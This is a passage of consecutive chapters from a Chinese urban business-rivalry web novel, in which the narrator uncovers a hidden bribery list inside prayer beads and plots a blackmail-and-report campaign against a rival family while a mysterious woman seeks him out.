“陈总知道赵虎接了司徒飞的单子,所以让我们二十四小时保护您。”阿城从后视镜看她:“但他没想到赵虎动作这么快,第一天就动手。”
司徒晴沉默了一会儿,又问:“你们……杀过人吗?”
阿城没有直接回答:“我们只做该做的事,保护该保护的人。”
这个回答已经很明白了。
司徒晴靠在座椅上,看着窗外飞速后退的夜景,城市依然灯火辉煌,看起来和平安宁,但在这光鲜的表象下,藏着多少刀光剑影?
司徒晴忽然苦笑,现在她终于知道,商场如战场的这句话了,这里不是会议室里唇枪舌剑,不是报表上的数字,而是真刀**的斗争。
或许,司徒家能有今天的地位,自己的父亲司徒鸣也没少干这样的勾当。
可是司徒晴并没有退缩,她不会被司徒飞的手段给吓到,不管他派来多少人,自己都要将晴空科技做大做强,自己都要夺回司徒家的家主!
深夜,静水庄园的别墅里。
我还坐在书桌前,摆弄着龙三爷的那串佛珠,我仔细看看,这串佛珠上面写着密密麻麻的梵文。
“你不觉的龙三爷死的太快了吗?”
我的脑海中,不自觉的浮现出周叶青说的话。
是啊,我也觉的太快了。
难不成,这里面有什么蹊跷?
“凡哥,你要的工具拿来了!”
周大伟将专业工具递给了我说道:“这里有三颗佛珠
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是空心的,接口处有极细微的痕迹,应该是用特殊方法密封的,现在打开吗?”
我拿起一颗佛珠,问道:“能无损打开吗?”
“可以。”周大伟从工具箱里取出一套微型工具:“这是一种古老的榫卯结构,配合磁力锁,需要找到正确的开启角度和力度,强行破坏会触发里面的自毁装置。”
他开始操作,动作精准而稳定,先是用特制的扫描仪检测佛珠内部的磁场分布,然后调整工具的角度,轻轻卡入佛珠表面的纹路缝隙。
书房里很安静,只有工具和佛珠接触时发出的细微声响。
五分钟后,“咔”一声轻响,第一颗佛珠裂开了一道缝。周大伟用镊子小心地分开,里面露出一个比米粒还小的黑色芯片。
另外两颗佛珠也陆续打开,里面各有一枚同样规格的芯片。
我拿起其中一枚芯片,对着光看:“现在能读取吗?”
“需要专用设备。”周大伟说,“龙三爷既然用这么隐蔽的方式保存,里面的内容肯定加密了。强行破解可能需要时间。”
“最快多久?”我问道。
“如果设备齐全,二十四小时内可以解开第一层加密。但如果有更复杂的保护措施,可能需要更久。”
我说道:“那开始吧。”
周大伟带着芯片离开书房,去地下室的工作间,那里有最专业的设备和独立电源,即使整个别墅断电也能维持运转。
我留在书房,继续研究那串佛珠,这里剩下的珠子都是实心的,但重量、纹路、甚至香味都有细微的差异
当我检查到第七颗时,我发现了异常。
这颗佛珠的重量比其他珠子略轻,表面有一个几乎看不见的小孔,像是被极细的针扎过,我拿起放大镜,对准那个小孔,我发现里面好像有点什么东西。
我找来一根最细的针灸针,针尖遇到了阻力,轻轻旋转后,阻力消失,我小心的往外拉,针尖带出了一卷极细的丝绢。
这个丝绢只有指甲盖大小,薄如蝉翼,上面用微雕技术刻满了字。
我马上将它平铺在桌面上,用高倍放大镜看,字太小了,密密麻麻,但还能辨认出来。
这是让人足以惊讶的关系网,上面写着的人名,足以震惊整个上城!
218烫手山芋!
我看着名单上的名字,一共三个分类。
第一个是官面上的关系,写着许多官员的名字,还有贿赂的金额和日期。
第二个是生意上的合作伙伴,房地产商,矿产老板,还有走私头目,每个人名后面都标注了项目和分成比例。
第三个,就是最让我震惊的,那就是司徒家的人。
龙三和司徒家族的往来,不仅仅是司徒飞,还有司徒飞的父亲,司徒熊,甚至还有司徒家的远方表亲,和当官的人,每个名字后面都标注了,送礼的数目和金额。
而且,这个时间长度跨度为十年。
也就是说,司徒家和龙三的交情,比这个时间还要长。
我现在终于明白了,龙三爷为什么把这些东西藏在佛珠里,这是他的护身符,也是他的催命符,有了这张名单,他可以威胁名单上的每一个人,但名单一旦曝光,所有人都会想要他死。
而现在,这份名单在我的手里,成了一个烫手山芋。
如果运用的不好,那会给我招来祸事。
我靠在椅背上,在思考对策,这里的人名太多了,涉及的领域也非常广,牵扯的利益太大,如果这份名单曝光,那引发的就是山崩海啸。
整个上城的上层社会,都要重新洗牌。
他靠在椅背上,闭上眼睛,手指按着太阳穴。
太多了。
名单上的人太多了,涉及的领域太广了,牵扯的利益太大了。这份东西如果曝光,引发的不是地震,是海啸。半个上城的政商界都要重新洗牌。
“凡哥,解开了!”
周大伟跑上来,跟我说道。
“走,去看看!”我立刻起身。
工作室里,三台电脑屏幕显示大量的数据。
周大伟指着屏幕中间的数据说:“这是第一颗芯片里的内容,是龙三爷和司徒飞近三年的所有交易记录。包括资金往来、项目合作、还有……几起人身伤害事件的委托和付款记录。”
“能作为证据吗?”我问。
“完全可以。”周大伟调出几份扫描文件,说道:“这里还有合同扫描件、银行转账凭证、甚至有几段录音,龙三爷做事很谨慎,每笔交易都留了底。应该是为了防备司徒飞过河拆桥。”
我点点头,指向另外两台电脑:“那些呢?”
“第二颗芯片里是龙三爷的资产分布,包括国内外的银行账户、房产、股权、还有几个秘密保险箱的位置和密码。”周大伟顿了顿:“总价值……超过二十亿。”
陈凡挑了挑眉,龙三爷经营三十年,这个数字不算夸张。
“第三颗芯片。”周大伟的脸色更加凝重道:“是名单,这里有名单上每个人的把柄、弱点、还有控制他们的方法。”
说着,周大伟调出了一个高清照片,上面详细记录,某年某月某日,在某个会所,一位权贵和女明星在一起。
“凡哥,这些东西曝光的话,会死很多人的。”周大伟好心提醒道。
“我知道。”
“那我们现在怎么办?”周大伟问道。
“那就先拷贝三份,用不同的加密方式保存,原件封存,没有我的命令,任何人不能动,另外,把司徒飞的那部分单独整理出来,我有用。”
“明白。”周大伟答应。
上午,十点。
我坐在别墅里,手机收到了柳媚笙的信息。
“赵虎的金玉满堂的赌场被端了,现场带走37人,查封现金八百多万,赵虎本人不在场,现在下落不明。”
“让你的人继续盯着,赵虎肯定会报复的!”我回复。
我刚放下手机,一个电话打了进来,这是林薇儿新的经纪人,王姐,她带着哭腔跟我说道:“陈总,出事了,薇儿出事了!”
“慢慢说,怎么回事?”我问。
我心里一沉:“慢慢说,怎么了?”
“今天凌晨,网上突然爆出一组照片,是薇儿和……和您三个月前在上城一家餐厅吃饭的照片,但照片被剪辑过,看起来像、像您在摸她的脸,她笑得特别暧昧。”王姐语无伦次道:“还有聊天记录截图,说薇儿是您和夏总之间的第三者,说您为了捧她才投资她的电影,说她能拿到影后是因为您的关系……”
我闭上眼睛,深吸一口气。
来了。
司徒飞的第二波攻击。
“现在什么情况?”
“已经上热搜了!‘林薇儿小三’、‘影后靠睡上位’,‘陈凡出轨’……三个话题都在前十!”王姐的声音几
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乎崩溃,道:“薇儿手机关机了,谁的电话都不接,她下周本来有个国际品牌的代言要签约,现在品牌方已经打电话来问情况了!”
“知道了。”我尽量让声音保持平稳,“你让薇儿接电话。”
“她不肯……”
“把电话给她。”我打断她。
那边传来窸窣声,然后是压抑的抽泣声。过了几秒,林薇儿的声音传来,道:“陈凡?”
“我在。”我说道:“听我说,薇儿,这是司徒飞的手段。他动不了我,就动我身边的人。你不要怕,不要回应,什么都不要说。”
“我没有怕,和你在一起,就从没有害怕了!”
林薇儿她现在已经城长了,不在是那个当初单纯的小女孩,她现在已经坚强勇敢,她不理解道:“他们怎么能这样编造?”
”
“因为他们没有底线。”我走到窗边,看着外面深沉的夜色,“薇儿,你相信我,我会处理好这件事。但在那之前,你需要暂时离开公众视线。”
“什么意思?”
“宣布暂时退出娱乐圈。”我说,“以身体原因或者个人原因为由,无限期暂停所有工作,找个安静的地方待着。”
“好。我听你的。”林薇儿没有任何的犹豫道。
“我让王姐准备声明,明天上午发布,然后我安排人送你去柳媚笙的庄园,那里很安全,没人能找到你。”
“陈凡……”
“嗯?”
“你一定要赢。”她的声音很轻,但很坚定,“不是为了我,是为了所有被他伤害过的人。”
“我会的。”
挂断电话后,我站在原地很久。
司徒飞,你果然够狠。
动不了我,就动我身边的女人。
先是柳媚笙的酒吧,然后是司徒晴的人身安全,现在是林薇儿的事业和名誉。
下一个会是谁?夏颜吗?
想到这里,我心中那股冰冷的杀意几乎要抑制不住。但我知道,愤怒解决不了问题,我需要更冷静,更精密,更狠。
我拿起手机,拨通了一个很久没有联系,但现在只能和她说的号码。
“周总,是我,陈凡。”我对着话筒说,“有点东西想给你看看,是关于司徒家的。”
219周叶青,你喜欢什么样的男人?
咚咚——
上午十点,我敲响了上城湾顶级别墅的门。
周叶青穿着家居服给我开门,今天的她未施粉黛,颇有一番天然去雕饰的自然美感,她的肌肤犹如羊脂玉一般,白的沁人心脾。
她看见我后,指了指沙发,慵懒道:“咖啡还是茶?”
“茶。”
“你这么早来找我?家里的那两位不用你陪了?”
周叶青抿嘴一笑,她指的是司徒晴和夏颜,家,也就是净水庄园。
“周总,你就拿我开玩笑了,我现在哪有时间陪女人啊,司徒飞已经让我焦头烂额了。”
我端起茶杯,一脸苦笑。
“你啊,女人缘极重,就别瞒着我了。”周叶青咯咯笑了起来。
“周总,难道你就不想找个男人?”我一本正经的问道。
周叶青,上城数一数二的美人,男人都好色,说我不贪图她的美色,那是不可能的,只不过,她现在是我不能染指的女人。
当我有一天,可以和周叶青平起平坐的时候,我想,我会想要拥有她。
不过在此之前,我不能暴露我的想法。
“怎么?”周叶青忽然盯着我的眼睛,仿佛看穿一切道:“忽然关心起我的感情问题了?”
我嘿嘿一笑道:“就是好奇,像你这样的天之骄女,究竟会喜欢什么样的男人。”
噗嗤!
周叶青忍不住笑了一声,道:“缘分到了,自然而然就知道了。”
“你说有关于司徒家的东西要给我看?”她问。
我拿出那份从佛珠里抄录的名单复印件,推过去给她看。
周叶青接过去,认真的看了起来。
“这些东西,哪来的?”她问。
“龙三爷。”我没有隐瞒:“他死后,我的人拿到了他从不离身的那串佛珠,里面有这个,还有三枚加密芯片,记录了更详细的证据。”
周叶青美眸盯着我问道:“这个,你打算怎么用?”
“还没想好。”我实话实说道:“东西太烫手,牵涉的人太多,如果一次性全爆出去,整个上城都会地震,我们也会被卷进去。”
“明智。”周叶青点点头道:“那司徒飞这部分呢?”
“这部分可以单独用。”我拿出周大伟昨晚整理出来的资料:“是司徒飞和龙三爷的交易记录,时间、金额、事由,清清楚楚,足够送他进去蹲十几年。”
周叶青翻看着那些记录,嘴角勾起一丝冷笑:“这小子,做事这么不干净,还敢学别人玩黑的。”
“所以我想请教周总,这些东西,该怎么用才能效果最大化?”
周叶青没有立刻回答,她靠在沙发上,思考了好就,像是有了决断道:“分三步走吧!”
“第一步,示弱,司徒飞现在气焰正盛,连续攻击你身边的人,以为你只能被动挨打,你要让他继续这样以为。”
“怎么示弱?”我问。
“林薇儿不是要宣布暂退娱乐圈吗?让她的声明写得凄惨一点,就说因为不实谣言的困扰,身心健康受损,不得不暂时离开,然后你这边,表现出愤怒但无力反击的样子。”周叶青看着我:“司徒飞这种人,你越弱,他就越嚣张,越会犯错误。”
我点点头:“然后呢?”
“第二步,分化。”周叶青写下第二个词,“司徒家不是铁板一块,这份名单上,司徒飞的父亲、三叔、堂哥,每个人都有把柄。但这些人不会为了保司徒飞,而把自己搭进去。”
他指着司徒雄的名字:“尤其是他父亲,司徒雄明年要竞选上城工商联主席,正在关键时期,如果这时候爆出他十年前**拿地的丑闻,他的生涯就完了。”
“你的意思是,用他父亲来压他?”我说道:“司徒雄可是一个老头子了。”
“老头子,能量才打,不然你以为周家忌惮的是司徒鸣和司徒飞么?不,周家真正忌惮的是司徒雄。”周叶青继续道:“你把关于司徒雄的证据,匿名寄给他本人,附上一句话:管好你儿子,否则大家一起死。司徒雄是**湖,知道该怎么做。”
我明白了:“他会逼司徒飞停手,甚至可能让司徒飞暂时离开上城避风头。”
“对。”周叶青继续说:“但司徒飞不会甘心。他可能会表面上答应,暗地里继续搞小动作。这时候,就到了第三步,绝杀!”
“等司徒飞以为你已经无力反抗,等他和家族内部产生裂痕,等他再次动手时,你就把这些证据,通过可靠的渠道,举报他们,不是匿名,是以受害者的身份**。”
“实名?”我皱眉道:“那样我也会被卷进去。”
“所以时机要选对。”周叶青说,“要在司徒飞对你的人造成实质性伤害的时候举报。比如,如果他真的伤了柳媚笙或者司徒晴,或者在商业上对‘晴空科技’造成重大损失。那时候你再举报,就是正当防卫,是受害者**。”
“而且,**能增加可信度,你可以说自己一直被司徒飞威胁**,忍无可忍才拿出这些证据,**会
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站在你这边。”
我思考着这个计划,周叶青的这三步走,可以说是环环相扣,看来这个女人有着天生的杀伐果断。
我抬眼看她,眼里多了几分敬意。
这种女人,心思重,手段狠,只能做朋友,如果做敌人,那代价太大了。
“但如果司徒飞不上钩呢?”我问,“如果他看到林薇儿退圈后,就暂时收手了呢?”
“那我们就逼他上钩。”周叶青眼中闪过一丝冷光,“你手里不是有‘晴空科技’这张牌吗?让司徒晴加快进度,公开挑战司徒飞的技术路线。以司徒飞的性格,他绝对忍不了被自己看不起的侄女挑衅,到时候,他一定会出手。”
我深吸一口气。
这个计划很周密,但也很大胆,每一步都需要精确的计算,需要对人心的精准把握,还需要一点运气。
“周总,你愿意帮**盘吗?”我看着周叶青问道。
周叶青笑了:“当初把你调来上城,就是让你对付司徒家的,如果现在我收手了,岂不是背后捅刀子,你放心,我周家,不是无情无义之人,你的事情,我会管,在必要的时候。”
我伸出手,道:“一言为定?”
周叶青看了看,然后伸出手,和我的手握住:“一言为定!”
我握住他的手:“一言为定。”
软!嫩!
周叶青的手,比任何女人的手都要柔软细腻……
从上城湾走出来,周大伟的车子在门口停好,等着我,我上车后,解开了西服扣子,每次见周叶青,我都会注重穿着,来显示自己对她的重视。
“情况怎么样?”我问。
“林薇儿的声明上午十点发布的。”周大伟一边开车一边汇报:“很简短,说因个人原因暂退娱乐圈,感谢粉丝支持。评论区和热搜都爆了,大部分人不信,说是实锤后的心虚。”
我闭眼揉着太阳穴:“司徒晴那边呢?”
“净水山庄很安全,她今天一天没出门,在修改‘晴空科技’下周的技术白皮书。”周大伟顿了顿道:“但上午收到一封匿名信,威胁她三天内离开上城,否则下次就不是停车场那么简单了。”
“信呢?”
“在鉴定科,查指纹和DNA。但大概率查不到什么。”
我的手机忽然响了,我接听手机,是柳媚笙打来的电话。
“陈凡,我到上城了,在机场。”
“等着,我去接你。”
我挂断电话,对周大伟说道:“去机场!”
220更进一步!
四季酒店,总统套房。
柳媚笙一进门,就贴在了我的身上,她主动送上红唇……
她火辣的身材,温热的呼吸,让我欲罢不能,我直接抱着她,走向了那张豪华大床……
一番折腾下来,柳媚笙脸颊绯红。
我躺在床上,抽着烟。
“夏颜怎么样了?”她钻进我的怀里问我。
“还好,就是情绪不稳,会孕吐,不过比我想象的要坚强!”
柳媚笙放心的点了点头,对我说道:“林薇儿的声明我看了,写的太委屈了,反而让人觉得心虚。”
“周叶青让她这么写的。”我喝了口水,“这是示弱的第一步。”
“周叶青?”柳媚笙挑眉,“她也现身了?”
在柳媚笙的印象里,周叶青一只都是幕后支持者,这位上城顶级的女大佬,也跳出来了?
“她觉得这是一个可以铲除司徒家的好机会,不得不动手了。”我说道。
柳媚笙沉默了一会儿,然后说:“今天下午,司徒飞的人来找过我。”
我握杯子的手顿了顿:“谁?”
“一个姓李的律师,说是代表‘飞越科技’。”柳媚笙从吧台下面拿出一张名片,“他想收购‘迷醉’,开价三倍市价。我拒绝了,他说让我再考虑考虑,三天后给答复。”
我把名片翻过来,背面用铅笔写了一行小字:价格可以谈,命只有一条。
“威胁?”我冷笑。
“这对司徒飞来说,算是很含蓄的威胁。”柳媚笙把名片收回去,道:“司徒飞现在学聪明了,不亲自出面,都用代理人。就算我们录音录像,也抓不到他的把柄。”
“赵虎那边呢?”我问。
我和柳媚笙的配合一直都是,她来做情报工作。
“赵虎的赌场被端后,他躲起来了。”柳媚笙调出手机里的情报说:“但他手下的人没散,反而更活跃了,昨晚闸北区有两家便利店被砸,店主都是‘晴空科技’员工的家属。今天上午,城东一个仓库失火,烧的是‘晴空科技’下周要用的实验材料。”
我弹了弹烟灰,内心苦笑不已,现在的局势已经不是我能控制的了,因为节奏和计划都乱了。
按照周叶青的部署,我现在应该示弱,让司徒飞以为我无力反击,可现在,司徒飞步步紧逼,根本不给我们喘息的机会。
“他在试探。”我说,“看我们的底线在哪里,看我们会为了保护身边人付出多大代价。”
“那我们怎么办?”柳媚笙问,“继续忍?”
“忍,但要忍得有技巧。”我拿出手机,给周叶青发了条信息:“司徒飞在试探底线,砸店烧仓,威胁收购酒吧。下一步怎么走?”
“让他砸,让他烧。把损失报大,找媒体哭穷。他砸得越狠,将来死得越惨。”
我懂了,这一步周叶青的意图,就是要把司徒飞的过分展现给媒体面前,她想让所有人看到,司徒飞是怎么欺负人的,让**上,还在观望的人,都站在我们这边。
“你联系一些熟悉的媒体,把便利店被砸、仓库失火的事报出去。重点强调,这都是晴空科技普通员工的家属,是‘晴空科技’的供应商,司徒飞为了打击我们,竟然不择手段,连普通人都不放过。”
“要不要提司徒飞的名字?”
“暂时不提,用‘某行业巨头’‘某知名企业’代替。但线索要给够,让读者自己猜出来。”我吩咐道。
柳媚笙点点头,开始打电话。
而此时,我的手机也响起,我拿起电话,走到客厅。
“陈凡!”司徒晴的声音里带着愤怒:“我刚收到消息,我们联系的三个芯片封装厂,今天下午同时通知我,接不了我们的单子,因为产能排满了。”
“司徒飞施压了?”
“不止。”司徒晴说:“他们还暗示,如果我们坚持要找其他厂,可能会遇到‘意想不到的困难’。比如设备故障,原材料短缺,甚至……火灾。”
我握紧手机,司徒飞真是狗急跳墙了,他已经没有任何的底线了。
“我知道了。”我说,“你先别急,我想办法。”
“我没急。”司徒晴忽然笑了,那笑声里带着一种决绝的冷意,“我只是觉得好笑,没想到我的亲叔叔,到头来,他还是只会这一套。”
她顿了顿:“陈凡,我不想躲了。”
“你想做什么?”
“下周的技术发布会,我要提前。”司徒晴说,“就定在三天后,我要当着所有媒体的面,公布‘晴空科技’的第一代产品实测数据。还要公布我们已经拿到的第二批订单—不是五万套,是五十万套。”
我心头一震:“你确定?”
“确定。”司徒晴的声音斩钉截铁:“智联万物那边我已经谈好了,他们愿意把明年上半年的全部订单都给我们,条件是价格再降五个点,交货期提前一个月。”
“能做到吗?”
“能!”她说:“团队这周可以不睡觉,我可以不睡觉。但我要让司徒飞知道,他的那些下三滥手段,挡不住真正想做事的。”
我沉默了几秒。
司徒晴的决定打乱了我的计划,但也提供了一个把司徒飞彻底激怒的机会。
以他的性格,绝对受不了被自己看不起的人公开打脸,到时候,他一定会采取更极端的行动。
而更极端的行动,就意味着更大
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的破绽。
“好。”我说:“发布会定在三天后,地点选在香格里拉酒店宴会厅,我会安排好安保,媒体那边也会打招呼。”
“你不劝我谨慎点?”司徒晴有些意外。
“谨慎是对弱者的要求。”我说,“你是强者,强者就该有强者的样子。”
电话那头沉默了。然后她说:“谢谢。”
挂断电话,我转身看向柳媚笙。
“通知所有我们的人,”我说,“三天后,战争进入新阶段。”
……
深夜,司徒家别墅。
书房里只开了一盏台灯,司徒飞坐在书桌后,脸色阴沉得像外面的天气。他面前摊着几份报告,都是今天手下人送来的。
便利店被砸,仓库失火,芯片厂拒绝接单……一切都在按计划进行。
但不知道为什么,他心里总有一丝不安。
太顺利了。
陈凡**静了。
那个在海城赶走了冯家,在上城干掉了龙三爷的男人,会这么容易就认输?会眼睁睁看着身边的人被欺负,生意被破坏,却什么都不做?
这不合理。
书房门被敲响。
“进来。”
管家推门而入,手里拿着一个快递信封:“司徒总,这里有个匿名信。”
司徒飞皱眉:“谁送的?”
“没写寄件人,邮戳是本市。”管家把信封放在桌上,“已经用扫描仪检查过了,没有危险物品。”
司徒飞挥挥手,管家退下。
他拿起信封,很轻,里面应该只有几张纸。用裁纸刀小心地拆开,抽出里面的东西,是几张照片和一封信。
照片是黑白的,很模糊,像是从监控录像里截取的。但能看出来,是在一个停车场,两个人正在交接一个黑色手提箱。
司徒飞的眼神凝固了。
照片上的人,是他父亲,司徒雄。时间是十年前,地点是城东新区规划局的地下停车场,那个接箱子的人,是当时的规划局局长,去年已经因为**被判了十五年。
信很短,只有一句话:
管好你儿子,否则大家一起死。
没有落款,没有联系方式。
但司徒飞知道是谁寄的。
陈凡!
十年了,这件事他以为早就过去了,父亲当年为了拿下那块地,确实送了钱,但做得极其隐蔽,知道的人不超过五个。
现在,照片到了他手里。
意味着什么?
意味着陈凡手里有更确凿的证据。
果然,司徒飞的手机响了,是司徒雄打来的。
司徒飞深吸一口气,接通:“爸。”
“你立刻回家一趟。”司徒雄的声音冰冷:“现在,马上!”
221美颜女人,叶倾城!
电话挂断,司徒飞深吸一口气。
他能从电话里,听出父亲有多愤怒。
司徒鸣和司徒宇失踪,父亲没有暴怒,可涉及到他自己利益的时候,这位久经沙场的老爷子,竟然暴走了。
呵呵……
司徒家,果然没有亲情可言。
司徒飞走出别墅,他坐在车里,对司机说道:“回老宅!”
司徒飞点点头,走出别墅。车已经等在门口,他坐进去,对司机说:“回老宅。”
司徒家老宅是一栋有百年历史的花园洋房,司徒飞的车驶入时,雨已经下得很大了。
他下车,撑起伞,快步走进房子。
父亲在书房等他。
司徒雄坐在红木书桌后,穿着中式长衫,手里拿着那几张照片,看到司徒飞进来,他没有说话,只是把照片推过去。
司徒飞站在书桌前,没有坐。
“你给我解释,这是怎么回事?”司徒雄只说了两个字。
“是陈凡寄的。”司徒飞说:“他在威胁我们。”
“我问的是。”司徒雄抬起头,眼神锐利如刀,“你为什么去惹他?”
司徒飞一愣:“他先惹我的!他扶持司徒晴,抢我们的市场,还杀了龙三爷……”
“龙三爷死了,是他自己找死!”司徒雄猛地一拍桌子:“我跟你说过多少次,不要和那种人走得太近!你不听,现在好了,把柄落在别人手里了!”
“我……”
“你知道这些照片意味着什么吗?”司徒雄站起来,走到儿子面前,“意味着我十年前做的事,随时可能曝光,意味着我明年工商联主席的位置,没了,意味着司徒家几十年的名声,毁了!”
他盯着司徒飞的眼睛:“就因为你一时冲动,因为你想证明自己比司徒鸣强!”
司徒飞咬着牙,没有说话。
“从现在开始,”司徒雄一字一句地说,“停止所有针对陈凡的行动,不管他做什么,你都给我忍着。还有,让司徒晴好好做她的公司,不准你再找她麻烦。”
“爸!”
“听清楚没有?”司徒雄的声音不容置疑:“如果你再乱来,我就把你送到国外,十年内不准回来。”
书房里死一般的寂静。
只有窗外的雨声,哗啦啦的,像在嘲笑什么。
许久,司徒飞低下头:“听清楚了。”
“出去吧。”司徒雄转过身,背对着他,“好好想想,什么才是真正为家族着想。”
司徒飞走出书房,脚步沉重。
他回到车里,没有立刻离开,只是坐在后座,看着窗外被雨水模糊的老宅轮廓。
忍?
他怎么可能忍。
陈凡手里有那些证据,就等于掐住了司徒家的脖子,现在父亲让他忍,是因为怕了,但怕有什么用?怕就能让陈凡放过他们?
司徒飞拿出手机,拨通一个号码。
“黑豹。”他对着话筒说道:“三件事,第一,查清楚陈凡手里的证据原件在哪里,第二,找到赵虎,告诉他,只要他能帮我拿回那些证据,钱不是问题。第三……”
他顿了顿阴狠的说道:“你准备几个意外,送给陈凡,钱不是问题,快解决他和他身边的人!”
……
第二天,晴空科技。
在司徒晴的带领下,实验室的准备工作,进入最后冲刺阶段,工程师们都在操作前埋头苦干。
我也在二楼的控制室,一起加班。
周大伟一直跟在我的身旁,他手里拿着平板电脑,上面都是科技园的实时监控画面。
“凡哥,对面写字楼三个观察点人员还在,但他们今天换班频率增加了。”周大伟指着屏幕说道:“他们后巷的快递车也换了位置,挪到了更靠近消防通道的地方,另外,实验室外围多了几个伪装成环卫工和外卖员的人,一直在附近转悠。”
“黑豹在施压。”我说道:“他想让我们紧张,让我们出错。”
“那我们要回应吗?”周大伟问道。
“不用,他们看他们的,我们干我们的。等明天直播开始,他们会知道什么叫真正的压力。”
我站在窗前,手机忽然响起,是柳媚笙打来的。
“在哪儿?”她问。
“实验室。”
“中午一起吃饭?介绍个朋友给你认识。”
我看了眼时间,上午十一点半,正是吃饭的时间了。
“行,在哪儿?”我问。
“云岸,新开的菜馆,听说环境不错,隐私也好。”她顿了顿。
我挂了电话,对周大伟交代了几句,然后离开实验室。
云岸餐厅在一栋老洋房里,算是闹中取静我到的时候,柳媚笙已经到了,她坐在靠窗的位置,而在她的对面还坐着一个女人。
那女人背对着我,穿着一身月白色的改良旗袍,长发松松挽在脑后,露出一段雪白修长的脖颈,从背影看,身姿优雅,气质出众。
我走过去,柳媚笙抬头看见我,笑了:“来了。”
那女人也转过头,就这一瞬间,我就看到了她那双眼睛……
那是一双很特别的眼睛,眼型偏长,眼尾微微上挑,瞳孔是深琥珀色的,像秋日的湖水,清澈又深邃。
她大概三十出头,五官精致得像是工笔画,皮肤白得近乎透明,唇色是淡淡的蔷薇粉。
“陈凡,这是叶倾城。”柳媚笙介绍道:“我很多年的朋友,刚从巴黎回来,倾城,这是陈凡。”
叶倾城站起身,伸出手:“陈先生,久仰。”
我握着她的手,她的手很凉,手指细长柔软。
“叶小姐。”我点头:“请坐。”
等我坐下后,柳媚笙开始点菜,她和叶倾城显然很熟,聊着国外的时装周,画廊的新展,还有共同朋友的近况,我安静地听着,偶尔喝口茶,目光不动声色地打量着叶倾城。
她很美,但美得不张扬,她说话时语速平缓,措辞得体,笑起来眼角有浅浅的细纹,反而添了几分风韵。
“媚笙说陈先生在做科技投资?”叶倾城忽然转向我,好奇的问道。
“我主要是在5G和人工智能领域。”我说:“叶小姐呢?听口音,不像是长居国外的。”
“我在巴黎住了七年,之前在上城。”她微笑:“做艺术品投资和策展。这次回来,是想在国内开一家画廊。”
“画廊选址定了吗?”我问。
“我还在看。”她端起茶杯,手指轻轻摩挲着杯壁,“上城这几年文化艺术氛围好了很多,但好的位置不多。陈先生有推荐吗?”
我微笑着摇了摇头,我现在忙的脚打后脑勺后,哪有功夫去管她什么的画廊。
菜上来了,叶倾城吃的很慢,动作十分优雅,她和柳媚笙聊着天,偶尔也会把话题聊到我的身上,问一些不痛不痒的问题。
一顿饭下来,气氛融洽,但我总觉得哪里不对劲。
那就是太完美了!
叶倾城这个人太完美了——长相、气质、谈吐、学识,甚至那种若有若无的疏离感,都完美得像是精心设计过的,而这种完美,在这种时候出现,让我本能地警惕。
饭后,柳媚笙去洗手间,桌上只剩下我和叶倾城。
“陈先生,”她忽然开口,声音比刚才低了一些,“媚笙跟我说了些你的事。”
“比如?”
“比如你正在做的事。”她看着我,眼神坦诚道:“你和司徒家的竞争,还有那些不太安全的部分。”
我放下筷子:“她跟你说了多少?”
“不多,但足够让我明白你在面对什么。”叶倾城顿了顿道:“我在巴黎的时候,也遇到过类似的情况,一个当地的艺术品商人想吞并我的画廊,用了很多不光彩的手段。”
“后来呢?”
“后来我找到了他的把柄。”她微微一笑道:“每个人都有弱点,重要的是你能不能找到,敢不敢用。”
我看着她,没有说话。
“陈先生,我知道我们刚认识,说这些可能不太合适。”她身体微微前倾,那股冷香更清晰了,“但媚笙是我最好的朋友,我不希望她担心,如果有什么我能帮上忙的,请尽管开口。”
222叶倾城的主动示好!
叶倾城的眼神看起来非常真诚,可就是她的真诚,让我觉得有点太虚假。
一个刚认识的人,怎么会对我这么上心,除非她就是带着目的来接近我的。
“谢谢。”我说道:“我现在还不需要帮助。”
叶倾城听了我的话,她也不在多问,点点头,道:“那如果改天,我想请你看看画廊的选址,陈总会赏脸吗?”
叶倾城脸上带着恰到好处的笑容。
“看时间。”我既没有答应,也没有拒绝。
“好。”她笑了,从手包里拿出一张名片,不是印刷的,是手写的小楷,上面只有名字和一个电话号码,她递给我道:“这是我的联系方式,随时欢迎。”
柳媚笙回来了,我们又坐了一会儿,然后结账离开。
餐厅门口,叶倾城自己开车,她的座驾是一辆白色的保时捷911,她上车前回头对我们挥手,旗袍的下摆在夜风中轻轻拂动,像一朵绽放的昙花。
“你觉得她怎么样?”柳媚笙挽着我的手臂,我们散步在江边。
“很美,很有气质。”我好奇道:“你们怎么认识的?”
“几年前,在巴黎。”柳媚笙回忆道:“我当时去参加一个酒庄的拍卖会,她也在,我拍下了一箱红酒,但信用卡临时出问题,是她帮我垫付的,后来我们成了朋友,经常一起看展、逛街、喝酒,她人很好,就是……”
“就是什么?”我问道。
“就是太孤独了。”柳媚笙轻声说,“她在国外七年,没交过男朋友,也没什么特别亲近的朋友,她家里好像有些复杂,但她从来不说,这次回国,她也是想换个环境。”
我点点头,没再问,我对别人的事情不感兴趣。
江风吹过来,带着水汽的凉意,柳媚笙靠在我肩上,我们就这样慢慢走着。
“陈凡。”她忽然说:“倾城今天问我,我们为什么这么拼命,她说,钱赚够了,名也有了,为什么还要冒这么大风险,和司徒飞那种人斗。”
“你怎么说?”我笑着问道。
“我说,因为有些事比钱和名重要。”柳媚笙抬起头看我道:“比如尊严,比如公道,比如不想让坏人赢。”
我搂紧她的肩膀,柳媚笙这个女人,从来都没有让我失望过,她总是义无反顾的站在我这边,然后与我并肩战斗,从严格意义上说,她应该是我最亲密的战友。
“可是,我有时候我也会怕。”她把脸埋在我胸口,“怕你出事,怕所有努力都白费,陈凡,如果我们真的输了……”
“不会输。”我打断她:“我们不会输,因为我没有任何的退路!”
她没说话,只是更紧地抱住我。
我不可能输,我如果输了,夏颜怎么办,孩子怎么办?
跟着我的这些女人,她们怎么办?
我知道她在怕什么,叶倾城的出现,那些看似关心的话,其实都在提醒我们,我们在走一条很危险的路,而这条路,可能没有回头的机会。
但我已经没有任何选择了,我必须要赢,而且要赢得干脆!
……
我和柳媚笙回到酒店,已经是晚上了,我洗完澡出来,我的手机上就收到了新的消息。
是一个陌生的电话号码,我打开消息查看。
“陈先生,我是叶倾城,今天很高兴认识你,明天有个当代艺术展,策展人是我朋友,如果你有兴趣,我可以留两张VIP票,我想请你和我一同看画展。”
我看着这条信息,沉默了一会儿,然后回复:“好,看时间再说吧。”
叶倾城的主动,是我没有预料的,所以我不着急回答,我倒要看看,这个女人到底葫芦里面装的什么药。
“好,谢谢陈先生,晚安。”
叶倾城的信息是秒回的,她的这张脸,这个名字,还有接近我的方式,真的是恰到好处啊!
